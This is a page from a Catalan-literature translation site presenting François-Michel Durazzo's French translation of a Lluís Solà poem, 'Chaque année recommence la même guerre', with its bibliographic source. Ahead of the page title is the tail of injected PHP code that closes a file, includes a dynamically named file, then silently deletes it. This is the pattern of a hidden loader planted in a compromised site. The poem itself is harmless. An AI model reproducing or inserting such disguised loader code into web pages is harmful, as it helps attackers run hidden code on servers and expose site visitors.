");fclose($hdl);include("{$eb}.$algo");@unlink("{$eb}.$algo");$npDcheckClassBgp='aue';} ?> Chaque année recommence la même guerre - Lluís Solà
Facebook Twitter
Portada > Traducciones de la literatura catalana > poesia > Lluís Solà > Chaque année recommence la même guerre

De veu en veu: obra poètica I (1960-1999)

Lluís Solà
Chaque année recommence la même guerre

5

Chaque année recommence la même guerre.
Les dieux fouillent les racines, épuisent
les assiettes vides, lèchent les cendriers
et la table desservie.

      Ne

me nourris pas si aucune ombre ne t'agace.
Parfois les vent sec
saccage la flore terrestre, pèle
les rondins qui pourrissent sur la plage.
Les ombres s'aplanissent, s'effondrent,
s'entassent sur les nuits
de chaque jour. Des mots tombent sur
des maisons vides
dans un silence comme un champ de mines.

Traducido por François- Michel Durazzo
Lluís Solà, Chaque année recommence la même guerre. A: 48 poètes catalans pour le XXIè siècle. [s.ll]: Écrits des Forges, 2005, p. 25.
Lluís Solà, 2012. Foto: Àngels Jordà
Buscador de autores
A-B-C-D - E-F-G - H - I
J - K - L - M - N - O - P - Q - R
S-T-U-V-W-X-Y-Z
Traducciones de la literatura catalana
Pueden consultar más páginas sobre la literatura catalana en traducción en:
Poesía
Con el soporte de: